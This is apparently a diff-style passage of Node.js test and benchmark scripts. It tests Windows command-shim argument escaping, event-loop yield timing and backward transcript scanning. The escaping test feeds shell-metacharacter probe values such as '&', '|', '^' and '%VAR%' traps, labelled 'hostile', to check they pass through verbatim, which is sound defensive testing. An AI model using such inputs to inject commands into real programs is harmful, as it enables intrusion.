||||
}
|
||||
const invocation = buildWindowsCommandInvocation(command, args)
|
||||
return spawn(invocation.command, invocation.args, {
|
||||
cwd: tempRoot,
|
||||
env,
|
||||
shell: false,
|
||||
windowsVerbatimArguments: invocation.windowsVerbatimArguments,
|
||||
windowsHide: true
|
||||
})
|
||||
}
|
||||
|
||||
function collect(child) {
|
||||
return new Promise((resolve) => {
|
||||
let stdout = ''
|
||||
let stderr = ''
|
||||
child.stdout?.on('data', (chunk) => (stdout += chunk.toString()))
|
||||
child.stderr?.on('data', (chunk) => (stderr += chunk.toString()))
|
||||
child.on('error', (error) => resolve({ code: null, stdout, stderr, error: error.message }))
|
||||
child.on('close', (code) => resolve({ code, stdout, stderr, error: null }))
|
||||
})
|
||||
}
|
||||
|
||||
async function waitForFile(path, timeoutMs = 5_000) {
|
||||
const deadline = Date.now() + timeoutMs
|
||||
while (Date.now() < deadline) {
|
||||
try {
|
||||
return JSON.parse(await readFile(path, 'utf8'))
|
||||
} catch {
|
||||
await new Promise((resolve) => setTimeout(resolve, 25))
|
||||
}
|
||||
}
|
||||
throw new Error(`Timed out waiting for fixture output: ${path}`)
|
||||
}
|
||||
|
||||
async function taskExists(pid) {
|
||||
const result = await collect(
|
||||
spawn('tasklist.exe', ['/fi', `PID eq ${pid}`, '/fo', 'csv', '/nh'], {
|
||||
windowsHide: true
|
||||
})
|
||||
)
|
||||
if (result.error || result.code !== 0) {
|
||||
throw new Error(`tasklist failed for PID ${pid}: ${result.error ?? result.stderr}`)
|
||||
}
|
||||
return result.stdout.includes(`"${pid}"`)
|
||||
}
|
||||
|
||||
async function killTree(pid) {
|
||||
const result = await collect(
|
||||
spawn('taskkill.exe', ['/pid', String(pid), '/t', '/f'], { windowsHide: true })
|
||||
)
|
||||
if (result.error || result.code !== 0) {
|
||||
throw new Error(`taskkill failed for PID ${pid}: ${result.error ?? result.stderr}`)
|
||||
}
|
||||
}
|
||||
|
||||
async function waitForTreeExit(pids, timeoutMs = 5_000) {
|
||||
const deadline = Date.now() + timeoutMs
|
||||
let alive = {}
|
||||
do {
|
||||
alive = Object.fromEntries(
|
||||
await Promise.all(
|
||||
Object.entries(pids).map(async ([name, pid]) => [name, await taskExists(pid)])
|
||||
)
|
||||
)
|
||||
if (!Object.values(alive).some(Boolean)) {
|
||||
return alive
|
||||
}
|
||||
await new Promise((resolve) => setTimeout(resolve, 50))
|
||||
} while (Date.now() < deadline)
|
||||
return alive
|
||||
}
|
||||
|
||||
const results = {
|
||||
strategy,
|
||||
reportedPath: null,
|
||||
pathMatrix: {},
|
||||
argvMatrix: {},
|
||||
hostilePathAndArgv: null,
|
||||
error: null,
|
||||
cancellation: null
|
||||
}
|
||||
const fixtureSource =
|
||||
`const { spawn } = require('node:child_process')\n` +
|
||||
`const { writeFileSync } = require('node:fs')\n` +
|
||||
`if (process.argv[2] === '--exit-error') { process.stderr.write('fixture error: 한글 & ^ % !\\n'); process.exit(23) }\n` +
|
||||
`if (process.argv[2] === '--linger') {\n` +
|
||||
` const grandchild = spawn(process.execPath, ['-e', 'setInterval(() => {}, 1000)'], { windowsHide: true })\n` +
|
||||
` writeFileSync(process.env.ORCA_FIXTURE_PIDS, JSON.stringify({ child: process.pid, grandchild: grandchild.pid }))\n` +
|
||||
` setInterval(() => {}, 1000)\n` +
|
||||
`} else {\n` +
|
||||
` writeFileSync(process.env.ORCA_FIXTURE_CAPTURE, JSON.stringify({ argv: process.argv.slice(2), configDir: process.env.CLAUDE_CONFIG_DIR }))\n` +
|
||||
`}\n`
|
||||
const shimSource = '@echo off\r\n"%ORCA_FIXTURE_NODE%" "%~dp0capture-child.cjs" %*\r\n'
|
||||
let lingeringShellPid = null
|
||||
try {
|
||||
await mkdir(fixtureDir, { recursive: true })
|
||||
await mkdir(reportedDir, { recursive: true })
|
||||
await writeFile(fixturePath, fixtureSource, 'utf8')
|
||||
await writeFile(shimPath, shimSource, 'utf8')
|
||||
await writeFile(reportedFixturePath, fixtureSource, 'utf8')
|
||||
await writeFile(reportedShimPath, shimSource, 'utf8')
|
||||
|
||||
const reportedArgs = ['auth', 'status', '--json']
|
||||
const reportedRun = await collect(launch(reportedArgs, reportedShimPath, reportedEnv))
|
||||
let reportedCapture = null
|
||||
try {
|
||||
reportedCapture = await waitForFile(reportedCapturePath, 1_000)
|
||||
} catch {}
|
||||
results.reportedPath = {
|
||||
...reportedRun,
|
||||
actual: reportedCapture,
|
||||
expected: { argv: reportedArgs, configDir: reportedEnv.CLAUDE_CONFIG_DIR },
|
||||
pass:
|
||||
reportedRun.code === 0 &&
|
||||
JSON.stringify(reportedCapture) ===
|
||||
JSON.stringify({ argv: reportedArgs, configDir: reportedEnv.CLAUDE_CONFIG_DIR })
|
||||
}
|
||||
|
||||
for (const [name, segment] of Object.entries({
|
||||
spaces: 'profile space',
|
||||
ampersand: 'profile&name',
|
||||
caret: 'profile^name',
|
||||
parentheses: 'profile(name)',
|
||||
percent: 'profile%ORCA_PATH_TRAP%',
|
||||
bang: 'profile!name',
|
||||
unicode: 'profile-한글-λ'
|
||||
})) {
|
||||
const directory = join(tempRoot, segment)
|
||||
const captureFile = join(directory, 'capture.json')
|
||||
const command = join(directory, 'claude fixture.cmd')
|
||||
await mkdir(directory, { recursive: true })
|
||||
await writeFile(join(directory, 'capture-child.cjs'), fixtureSource, 'utf8')
|
||||
await writeFile(command, shimSource, 'utf8')
|
||||
const env = {
|
||||
...fixtureEnv,
|
||||
CLAUDE_CONFIG_DIR: join(directory, 'config'),
|
||||
ORCA_FIXTURE_CAPTURE: captureFile
|
||||
}
|
||||
const run = await collect(launch(reportedArgs, command, env))
|
||||
let actual = null
|
||||
try {
|
||||
actual = await waitForFile(captureFile, 500)
|
||||
} catch {}
|
||||
results.pathMatrix[name] = {
|
||||
code: run.code,
|
||||
stderr: run.stderr.trim(),
|
||||
actual: actual?.argv ?? null,
|
||||
pass: run.code === 0 && JSON.stringify(actual?.argv) === JSON.stringify(reportedArgs)
|
||||
}
|
||||
}
|
||||
|
||||
for (const [name, value] of Object.entries({
|
||||
empty: '',
|
||||
spaces: 'two words',
|
||||
ampersand: 'amp&ersand',
|
||||
pipe: 'pipe|value',
|
||||
lessThan: 'less<value',
|
||||
greaterThan: 'greater>value',
|
||||
caret: 'caret^value',
|
||||
trailingBackslash: 'trailing\\',
|
||||
twoTrailingBackslashes: 'two-trailing\\\\',
|
||||
parentheses: '(parentheses)',
|
||||
percent: '%ORCA_ARG_TRAP%',
|
||||
bang: 'bang!value',
|
||||
unicode: '한글-λ'
|
||||
})) {
|
||||
const args = ['prefix', value, 'suffix']
|
||||
const captureFile = join(reportedDir, `capture-${name}.json`)
|
||||
const env = { ...reportedEnv, ORCA_FIXTURE_CAPTURE: captureFile }
|
||||
const run = await collect(launch(args, reportedShimPath, env))
|
||||
let actual = null
|
||||
try {
|
||||
actual = await waitForFile(captureFile, 500)
|
||||
} catch {}
|
||||
results.argvMatrix[name] = {
|
||||
code: run.code,
|
||||
stderr: run.stderr.trim(),
|
||||
actual: actual?.argv ?? null,
|
||||
pass: run.code === 0 && JSON.stringify(actual?.argv) === JSON.stringify(args)
|
||||
}
|
||||
}
|
||||
|
||||
const argvRun = await collect(launch(expectedArgs))
|
||||
let capture = null
|
||||
try {
|
||||
capture = await waitForFile(capturePath, 1_000)
|
||||
} catch {}
|
||||
results.hostilePathAndArgv = {
|
||||
...argvRun,
|
||||
actual: capture,
|
||||
expected: { argv: expectedArgs, configDir: fixtureEnv.CLAUDE_CONFIG_DIR },
|
||||
pass:
|
||||
argvRun.code === 0 &&
|
||||
JSON.stringify(capture) ===
|
||||
JSON.stringify({ argv: expectedArgs, configDir: fixtureEnv.CLAUDE_CONFIG_DIR })
|
||||
}
|
||||
|
||||
results.error = await collect(launch(['--exit-error'], reportedShimPath, reportedEnv))
|
||||
results.error.pass =
|
||||
results.error.code === 23 && results.error.stderr.includes('fixture error: 한글 & ^ % !')
|
||||
|
||||
const lingering = launch(['--linger'], reportedShimPath, reportedEnv)
|
||||
lingeringShellPid = lingering.pid
|
||||
const lingeringResult = collect(lingering)
|
||||
try {
|
||||
const pids = await waitForFile(reportedPidPath)
|
||||
await killTree(lingering.pid)
|
||||
const alive = await waitForTreeExit({
|
||||
shell: lingering.pid,
|
||||
child: pids.child,
|
||||
grandchild: pids.grandchild
|
||||
})
|
||||
results.cancellation = {
|
||||
shell: lingering.pid,
|
||||
...pids,
|
||||
alive,
|
||||
pass: !Object.values(alive).some(Boolean)
|
||||
}
|
||||
} catch (error) {
|
||||
if (await taskExists(lingering.pid)) {
|
||||
await killTree(lingering.pid)
|
||||
}
|
||||
const launchResult = await Promise.race([
|
||||
lingeringResult,
|
||||
new Promise((resolve) =>
|
||||
setTimeout(
|
||||
() => resolve({ code: null, error: 'fixture did not exit after cleanup' }),
|
||||
5_000
|
||||
)
|
||||
)
|
||||
])
|
||||
results.cancellation = {
|
||||
shell: lingering.pid,
|
||||
launchResult,
|
||||
pass: false,
|
||||
error: error instanceof Error ? error.message : String(error)
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
if (lingeringShellPid && (await taskExists(lingeringShellPid))) {
|
||||
await killTree(lingeringShellPid)
|
||||
}
|
||||
try {
|
||||
let pids
|
||||
try {
|
||||
pids = JSON.parse(await readFile(reportedPidPath, 'utf8'))
|
||||
} catch {
|
||||
pids = JSON.parse(await readFile(pidPath, 'utf8'))
|
||||
}
|
||||
for (const pid of [pids.child, pids.grandchild]) {
|
||||
if (await taskExists(pid)) {
|
||||
await killTree(pid)
|
||||
}
|
||||
}
|
||||
} catch {}
|
||||
await rm(tempRoot, { recursive: true, force: true })
|
||||
}
|
||||
|
||||
console.log(JSON.stringify(results, null, 2))
|
||||
process.exitCode =
|
||||
results.reportedPath?.pass &&
|
||||
Object.values(results.pathMatrix).every((result) => result.pass) &&
|
||||
Object.values(results.argvMatrix).every((result) => result.pass) &&
|
||||
results.hostilePathAndArgv?.pass &&
|
||||
results.error?.pass &&
|
||||
results.cancellation?.pass
|
||||
? 0
|
||||
: 1
|
||||
@@ -0,0 +1,190 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: the event-loop yield in the Claude usage scanner's batch loops.
|
||||
//
|
||||
// scanner.ts yielded with `setTimeout(resolve, 0)`, which Node clamps to ~1ms. The
|
||||
// loops yield once per FILE_SCAN_BATCH_SIZE files across two passes, so a machine with
|
||||
// thousands of transcripts spent seconds parked on timers doing no work. setImmediate
|
||||
// yields on the same tick's check phase with no clamp. The sibling scanner
|
||||
// (src/main/codex-usage/scanner.ts) already used setImmediate.
|
||||
//
|
||||
// The yield exists to keep the main process responsive during a scan, so this also
|
||||
// measures worst-case latency for a concurrent task -- a "faster" yield that starved
|
||||
// other work would be a regression, not a win.
|
||||
//
|
||||
// Run with: node config/scripts/claude-usage-yield-benchmark.mjs
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { homedir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { readdirSync, statSync } from 'node:fs'
|
||||
|
||||
const REPO_ROOT = new URL('../..', import.meta.url)
|
||||
const ROUNDS = Number(process.env.ORCA_YIELD_BENCH_ROUNDS ?? '10')
|
||||
|
||||
// Why re-read the source: the claim is that the scanner yields once per batch across
|
||||
// two loops. If the batch size or the yield sites change, these numbers stop meaning
|
||||
// what the header says, so fail loudly instead of reporting a stale ratio.
|
||||
const SCANNER_SOURCE = readFileSync(new URL('src/main/claude-usage/scanner.ts', REPO_ROOT), 'utf8')
|
||||
const batchMatch = SCANNER_SOURCE.match(/const FILE_SCAN_BATCH_SIZE = (\d+)/)
|
||||
if (!batchMatch) {
|
||||
throw new Error('FILE_SCAN_BATCH_SIZE not found; this benchmark is stale')
|
||||
}
|
||||
const FILE_SCAN_BATCH_SIZE = Number(batchMatch[1])
|
||||
const YIELD_SITES = (SCANNER_SOURCE.match(/await yieldToEventLoop\(\)/g) ?? []).length
|
||||
if (YIELD_SITES === 0) {
|
||||
throw new Error('no yieldToEventLoop call sites found; this benchmark is stale')
|
||||
}
|
||||
// Match the call, not the word: a comment mentioning setImmediate would satisfy a
|
||||
// bare substring check even after the yield reverted to setTimeout.
|
||||
if (!/setImmediate\(resolve\)/.test(SCANNER_SOURCE)) {
|
||||
throw new Error('scanner no longer yields with setImmediate; this benchmark is stale')
|
||||
}
|
||||
|
||||
// Real transcript count drives the yield count, so read it rather than assume one.
|
||||
function countClaudeTranscripts() {
|
||||
const root = join(homedir(), '.claude', 'projects')
|
||||
let count = 0
|
||||
const stack = [root]
|
||||
while (stack.length > 0) {
|
||||
const dir = stack.pop()
|
||||
let entries
|
||||
try {
|
||||
entries = readdirSync(dir, { withFileTypes: true })
|
||||
} catch {
|
||||
continue
|
||||
}
|
||||
for (const entry of entries) {
|
||||
if (entry.isDirectory()) {
|
||||
stack.push(join(dir, entry.name))
|
||||
} else if (entry.name.endsWith('.jsonl')) {
|
||||
count += 1
|
||||
}
|
||||
}
|
||||
}
|
||||
return count
|
||||
}
|
||||
|
||||
const transcriptCount = (() => {
|
||||
try {
|
||||
statSync(join(homedir(), '.claude', 'projects'))
|
||||
return countClaudeTranscripts()
|
||||
} catch {
|
||||
return 0
|
||||
}
|
||||
})()
|
||||
|
||||
const FALLBACK_TRANSCRIPTS = 7500
|
||||
const effectiveTranscripts = transcriptCount > 0 ? transcriptCount : FALLBACK_TRANSCRIPTS
|
||||
// Each pass walks ceil(files / batch) batches and yields after every batch except the
|
||||
// last, so a pass yields batchesPerPass - 1 times.
|
||||
const BATCHES_PER_PASS = Math.max(1, Math.ceil(effectiveTranscripts / FILE_SCAN_BATCH_SIZE))
|
||||
const YIELDS_PER_SCAN = Math.max(1, (BATCHES_PER_PASS - 1) * YIELD_SITES)
|
||||
|
||||
const yieldWithTimeout = () => new Promise((resolve) => setTimeout(resolve, 0))
|
||||
const yieldWithImmediate = () => new Promise((resolve) => setImmediate(resolve))
|
||||
|
||||
// Mirrors the scanner's shape: a little synchronous work per batch, then a yield.
|
||||
async function runBatchLoop(doYield, batches) {
|
||||
let sink = 0
|
||||
for (let batch = 0; batch < batches; batch += 1) {
|
||||
for (let file = 0; file < FILE_SCAN_BATCH_SIZE; file += 1) {
|
||||
sink += (batch * 31 + file) % 7
|
||||
}
|
||||
if (batch + 1 < batches) {
|
||||
await doYield()
|
||||
}
|
||||
}
|
||||
return sink
|
||||
}
|
||||
|
||||
async function timeArm(doYield, batches) {
|
||||
const start = performance.now()
|
||||
const sink = await runBatchLoop(doYield, batches)
|
||||
const elapsed = performance.now() - start
|
||||
if (sink === -1) {
|
||||
throw new Error('unreachable')
|
||||
}
|
||||
return elapsed
|
||||
}
|
||||
|
||||
function median(samples) {
|
||||
const sorted = [...samples].sort((a, b) => a - b)
|
||||
const mid = sorted.length / 2
|
||||
return (sorted[mid - 1] + sorted[mid]) / 2
|
||||
}
|
||||
|
||||
// Arms alternate which one leads so within-round drift cannot favour either.
|
||||
async function measure(batches) {
|
||||
await runBatchLoop(yieldWithTimeout, Math.min(batches, 50))
|
||||
await runBatchLoop(yieldWithImmediate, Math.min(batches, 50))
|
||||
const timeoutSamples = []
|
||||
const immediateSamples = []
|
||||
for (let round = 0; round < ROUNDS; round += 1) {
|
||||
if (round % 2 === 0) {
|
||||
timeoutSamples.push(await timeArm(yieldWithTimeout, batches))
|
||||
immediateSamples.push(await timeArm(yieldWithImmediate, batches))
|
||||
} else {
|
||||
immediateSamples.push(await timeArm(yieldWithImmediate, batches))
|
||||
timeoutSamples.push(await timeArm(yieldWithTimeout, batches))
|
||||
}
|
||||
}
|
||||
return { timeoutMs: median(timeoutSamples), immediateMs: median(immediateSamples) }
|
||||
}
|
||||
|
||||
// The yield exists for responsiveness, so measure what a concurrent task actually sees.
|
||||
async function measureConcurrentLatency(doYield, batches) {
|
||||
let worstLatencyMs = 0
|
||||
let stop = false
|
||||
const probe = (async () => {
|
||||
while (!stop) {
|
||||
const tick = performance.now()
|
||||
await new Promise((resolve) => setImmediate(resolve))
|
||||
worstLatencyMs = Math.max(worstLatencyMs, performance.now() - tick)
|
||||
}
|
||||
})()
|
||||
const start = performance.now()
|
||||
await runBatchLoop(doYield, batches)
|
||||
const scanMs = performance.now() - start
|
||||
stop = true
|
||||
await probe
|
||||
return { scanMs, worstLatencyMs }
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Claude usage scanner event-loop yield. Lower is better.')
|
||||
console.log(
|
||||
`transcripts=${transcriptCount > 0 ? transcriptCount : `${FALLBACK_TRANSCRIPTS} (none found; synthetic)`} batch=${FILE_SCAN_BATCH_SIZE} sites=${YIELD_SITES} -> ~${YIELDS_PER_SCAN} yields/scan`
|
||||
)
|
||||
console.log(
|
||||
`${pad('yields', 8)} ${pad('setTimeout(0)', 14)} ${pad('setImmediate', 13)} ${pad('speedup', 9)} ${pad('saved', 11)}`
|
||||
)
|
||||
|
||||
for (const yields of [100, 500, YIELDS_PER_SCAN]) {
|
||||
// runBatchLoop yields batches - 1 times, so ask for one more batch than yields.
|
||||
const batches = yields + 1
|
||||
const { timeoutMs, immediateMs } = await measure(batches)
|
||||
// Why report the absolute saving too: the setImmediate arm is small enough that
|
||||
// background load moves the RATIO a lot while the removed wall time barely budges.
|
||||
console.log(
|
||||
`${pad(yields, 8)} ${pad(`${timeoutMs.toFixed(1)} ms`, 14)} ${pad(`${immediateMs.toFixed(1)} ms`, 13)} ${pad(`${(timeoutMs / immediateMs).toFixed(1)}x`, 9)} ${pad(`${(timeoutMs - immediateMs).toFixed(0)} ms`, 11)}`
|
||||
)
|
||||
}
|
||||
|
||||
console.log('\nResponsiveness (the reason the yield exists) at a full scan:')
|
||||
const timeoutLatency = await measureConcurrentLatency(yieldWithTimeout, YIELDS_PER_SCAN + 1)
|
||||
const immediateLatency = await measureConcurrentLatency(yieldWithImmediate, YIELDS_PER_SCAN + 1)
|
||||
console.log(
|
||||
` setTimeout(0): scan ${timeoutLatency.scanMs.toFixed(0)} ms, worst concurrent wait ${timeoutLatency.worstLatencyMs.toFixed(2)} ms`
|
||||
)
|
||||
console.log(
|
||||
` setImmediate : scan ${immediateLatency.scanMs.toFixed(0)} ms, worst concurrent wait ${immediateLatency.worstLatencyMs.toFixed(2)} ms`
|
||||
)
|
||||
if (immediateLatency.worstLatencyMs > timeoutLatency.worstLatencyMs) {
|
||||
console.log(
|
||||
'\n NOTE: setImmediate showed a WORSE concurrent wait here. The yield exists for\n responsiveness, so that would be a regression even though the scan is faster.'
|
||||
)
|
||||
}
|
||||
|
||||
console.log(
|
||||
'\nRead the SAVED column, not the ratio. The setImmediate arm is small enough that\nbackground load swings the ratio (32x-81x observed across runs on a loaded machine)\nwhile the removed wall time stays at ~4.2-5.1 s. The saving is wall-clock the main\nprocess spent parked on timer clamps, not CPU work removed. It is paid on every\nUsage-pane scan and every forced automation rescan.'
|
||||
)
|
||||
@@ -0,0 +1,427 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: cost of resolving a Command Code turn prompt from the transcript,
|
||||
// paid on EVERY command-code hook event (PreToolUse/PostToolUse fire once per
|
||||
// tool call, so many per second during an active agent turn).
|
||||
//
|
||||
// Before the fix, readLastCommandCodeUserPromptEntryFromTranscript() read up to
|
||||
// TRANSCRIPT_MAX_SCAN_BYTES (4 MB) synchronously, decoded it all to a JS string,
|
||||
// and JSON-parsed EVERY line to the end of the buffer to find the LAST user
|
||||
// entry — so cost grew with the transcript, which only grows as a session runs.
|
||||
//
|
||||
// The fix scans backward from EOF in TRANSCRIPT_CHUNK_BYTES blocks and returns
|
||||
// on the first user line, the shape the sibling readLastTextFromTranscriptOnce
|
||||
// already used. The answer sits near EOF in a real session (the current turn's
|
||||
// prompt precedes only this turn's output), so the scan reads one or two blocks
|
||||
// instead of the whole file.
|
||||
//
|
||||
// Both implementations are mirrored here: node cannot import the .ts source,
|
||||
// matching the other benchmarks in this directory. Constants are re-read from
|
||||
// the real module so a drifted cap fails loudly instead of measuring dead code.
|
||||
import {
|
||||
closeSync,
|
||||
mkdtempSync,
|
||||
openSync,
|
||||
readFileSync,
|
||||
readSync,
|
||||
rmSync,
|
||||
statSync,
|
||||
writeFileSync
|
||||
} from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const LISTENER_SOURCE = readFileSync(
|
||||
fileURLToPath(new URL('../../src/shared/agent-hook-listener.ts', import.meta.url)),
|
||||
'utf8'
|
||||
)
|
||||
|
||||
function readMirroredConstant(name) {
|
||||
const match = LISTENER_SOURCE.match(new RegExp(`const ${name} = ([^\\n]+)`))
|
||||
if (!match) {
|
||||
throw new Error(`agent-hook-listener.ts no longer defines ${name}; re-sync this benchmark.`)
|
||||
}
|
||||
const value = Number(new Function(`return (${match[1]})`)())
|
||||
if (!Number.isInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} did not resolve to a positive integer`)
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
const TRANSCRIPT_CHUNK_BYTES = readMirroredConstant('TRANSCRIPT_CHUNK_BYTES')
|
||||
const TRANSCRIPT_MAX_SCAN_BYTES = readMirroredConstant('TRANSCRIPT_MAX_SCAN_BYTES')
|
||||
const EMPTY_REGION = Buffer.alloc(0)
|
||||
const ITERATIONS = Number.parseInt(process.env.ORCA_CC_SCAN_BENCH_ITERATIONS ?? '150', 10)
|
||||
const WARMUP = Number.parseInt(process.env.ORCA_CC_SCAN_BENCH_WARMUP ?? '20', 10)
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_CC_SCAN_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_CC_SCAN_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
// Mirror of parseAgentHookJson: the real reader scans a line's structure before
|
||||
// parsing it, on BOTH sides of this comparison. Omitting it made the pre-fix
|
||||
// column ~9x too fast and invented a regression that does not exist.
|
||||
const HOOK_STRUCTURAL_TOKENS = 128 * 1024
|
||||
const HOOK_NESTING_DEPTH = 64
|
||||
|
||||
function assertJsonStructure(content) {
|
||||
let structuralTokens = 0
|
||||
let depth = 0
|
||||
let inString = false
|
||||
let escaped = false
|
||||
for (let index = 0; index < content.length; index += 1) {
|
||||
const character = content[index]
|
||||
if (inString) {
|
||||
if (escaped) {
|
||||
escaped = false
|
||||
} else if (character === '\\') {
|
||||
escaped = true
|
||||
} else if (character === '"') {
|
||||
inString = false
|
||||
}
|
||||
continue
|
||||
}
|
||||
if (character === '"') {
|
||||
inString = true
|
||||
continue
|
||||
}
|
||||
if (
|
||||
character !== '{' &&
|
||||
character !== '}' &&
|
||||
character !== '[' &&
|
||||
character !== ']' &&
|
||||
character !== ',' &&
|
||||
character !== ':'
|
||||
) {
|
||||
continue
|
||||
}
|
||||
structuralTokens += 1
|
||||
if (structuralTokens > HOOK_STRUCTURAL_TOKENS) {
|
||||
throw new Error('structuralTokens')
|
||||
}
|
||||
if (character === '{' || character === '[') {
|
||||
depth += 1
|
||||
if (depth > HOOK_NESTING_DEPTH) {
|
||||
throw new Error('nestingDepth')
|
||||
}
|
||||
} else if (character === '}' || character === ']') {
|
||||
depth = Math.max(0, depth - 1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function extractUserPrompt(line) {
|
||||
let entry
|
||||
try {
|
||||
assertJsonStructure(line)
|
||||
entry = JSON.parse(line)
|
||||
} catch {
|
||||
return undefined
|
||||
}
|
||||
if (typeof entry !== 'object' || entry === null || entry.role !== 'user') {
|
||||
return undefined
|
||||
}
|
||||
const content = entry.content
|
||||
if (typeof content === 'string' && content.trim().length > 0) {
|
||||
return content
|
||||
}
|
||||
if (Array.isArray(content)) {
|
||||
for (const part of content) {
|
||||
if (typeof part === 'object' && part !== null) {
|
||||
const text = part.text
|
||||
if (typeof text === 'string' && text.trim().length > 0) {
|
||||
return text
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
// Pre-fix: read the capped window, then parse every line to the end.
|
||||
function readForward(path) {
|
||||
const size = statSync(path).size
|
||||
if (size <= 0) {
|
||||
return undefined
|
||||
}
|
||||
const bytesToRead = Math.min(size, TRANSCRIPT_MAX_SCAN_BYTES)
|
||||
const position = size - bytesToRead
|
||||
const fd = openSync(path, 'r')
|
||||
try {
|
||||
const buffer = Buffer.alloc(bytesToRead)
|
||||
let filled = 0
|
||||
while (filled < bytesToRead) {
|
||||
const n = readSync(fd, buffer, filled, bytesToRead - filled, position + filled)
|
||||
if (n === 0) {
|
||||
break
|
||||
}
|
||||
filled += n
|
||||
}
|
||||
let text = buffer.subarray(0, filled).toString('utf8')
|
||||
if (position > 0) {
|
||||
const firstNewline = text.indexOf('\n')
|
||||
text = firstNewline === -1 ? '' : text.slice(firstNewline + 1)
|
||||
}
|
||||
let last
|
||||
for (const line of text.split('\n')) {
|
||||
const prompt = extractUserPrompt(line.trim())
|
||||
if (prompt !== undefined) {
|
||||
last = prompt
|
||||
}
|
||||
}
|
||||
return last
|
||||
} finally {
|
||||
closeSync(fd)
|
||||
}
|
||||
}
|
||||
|
||||
function findLastPromptInRegion(region) {
|
||||
let lineEnd = region.length
|
||||
for (let index = region.length - 1; index >= -1; index--) {
|
||||
if (index >= 0 && region[index] !== 0x0a) {
|
||||
continue
|
||||
}
|
||||
const lineStart = index + 1
|
||||
if (lineEnd > lineStart) {
|
||||
const prompt = extractUserPrompt(region.subarray(lineStart, lineEnd).toString('utf8').trim())
|
||||
if (prompt !== undefined) {
|
||||
return prompt
|
||||
}
|
||||
}
|
||||
lineEnd = index
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
// Post-fix: walk backward from EOF, return on the first user line. The carry is
|
||||
// a chunk list, not a re-joined buffer, so one oversized line stays linear.
|
||||
function readBackward(path) {
|
||||
const size = statSync(path).size
|
||||
if (size <= 0) {
|
||||
return undefined
|
||||
}
|
||||
const fd = openSync(path, 'r')
|
||||
try {
|
||||
let carryChunks = []
|
||||
let bytesRead = 0
|
||||
let scanEnd = size
|
||||
while (scanEnd > 0 && bytesRead < TRANSCRIPT_MAX_SCAN_BYTES) {
|
||||
const chunkSize = Math.min(
|
||||
scanEnd,
|
||||
TRANSCRIPT_CHUNK_BYTES,
|
||||
TRANSCRIPT_MAX_SCAN_BYTES - bytesRead
|
||||
)
|
||||
const position = scanEnd - chunkSize
|
||||
const buffer = Buffer.alloc(chunkSize)
|
||||
let filled = 0
|
||||
while (filled < chunkSize) {
|
||||
const n = readSync(fd, buffer, filled, chunkSize - filled, position + filled)
|
||||
if (n === 0) {
|
||||
break
|
||||
}
|
||||
filled += n
|
||||
}
|
||||
if (filled < chunkSize) {
|
||||
break
|
||||
}
|
||||
bytesRead += filled
|
||||
scanEnd = position
|
||||
const firstNewline = buffer.indexOf(0x0a)
|
||||
const atStart = position === 0
|
||||
let completeRegion
|
||||
if (atStart) {
|
||||
completeRegion = carryChunks.length === 0 ? buffer : Buffer.concat([buffer, ...carryChunks])
|
||||
carryChunks = []
|
||||
} else if (firstNewline === -1) {
|
||||
completeRegion = EMPTY_REGION
|
||||
carryChunks.unshift(buffer)
|
||||
} else {
|
||||
const afterNewline = buffer.subarray(firstNewline + 1)
|
||||
completeRegion =
|
||||
carryChunks.length === 0 ? afterNewline : Buffer.concat([afterNewline, ...carryChunks])
|
||||
carryChunks = [buffer.subarray(0, firstNewline)]
|
||||
}
|
||||
if (completeRegion.length > 0) {
|
||||
const found = findLastPromptInRegion(completeRegion)
|
||||
if (found !== undefined) {
|
||||
return found
|
||||
}
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
} finally {
|
||||
closeSync(fd)
|
||||
}
|
||||
}
|
||||
|
||||
// A real session: many completed turns, then THIS turn's prompt, then the tool
|
||||
// output produced since. The prompt therefore sits near EOF.
|
||||
function writeTranscript(path, priorTurns) {
|
||||
const lines = []
|
||||
for (let index = 0; index < priorTurns; index += 1) {
|
||||
lines.push(
|
||||
JSON.stringify({ role: 'user', content: [{ type: 'text', text: `older turn ${index}` }] })
|
||||
)
|
||||
lines.push(
|
||||
JSON.stringify({
|
||||
role: 'assistant',
|
||||
content: [{ type: 'text', text: `${'assistant output '.repeat(30)}${index}` }]
|
||||
})
|
||||
)
|
||||
}
|
||||
lines.push(
|
||||
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] })
|
||||
)
|
||||
for (let index = 0; index < 40; index += 1) {
|
||||
lines.push(
|
||||
JSON.stringify({
|
||||
role: 'assistant',
|
||||
content: [{ type: 'text', text: `${'current turn output '.repeat(30)}${index}` }]
|
||||
})
|
||||
)
|
||||
}
|
||||
writeFileSync(path, `${lines.join('\n')}\n`)
|
||||
}
|
||||
|
||||
// A turn already in progress: `trailingBytes` of tool output sits between the
|
||||
// prompt and EOF, which is what the backward scan has to read past.
|
||||
function writeTranscriptWithTrailing(path, priorTurns, trailingBytes) {
|
||||
const lines = []
|
||||
for (let index = 0; index < priorTurns; index += 1) {
|
||||
lines.push(
|
||||
JSON.stringify({ role: 'user', content: [{ type: 'text', text: `older turn ${index}` }] })
|
||||
)
|
||||
lines.push(
|
||||
JSON.stringify({
|
||||
role: 'assistant',
|
||||
content: [{ type: 'text', text: `${'assistant output '.repeat(30)}${index}` }]
|
||||
})
|
||||
)
|
||||
}
|
||||
lines.push(
|
||||
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] })
|
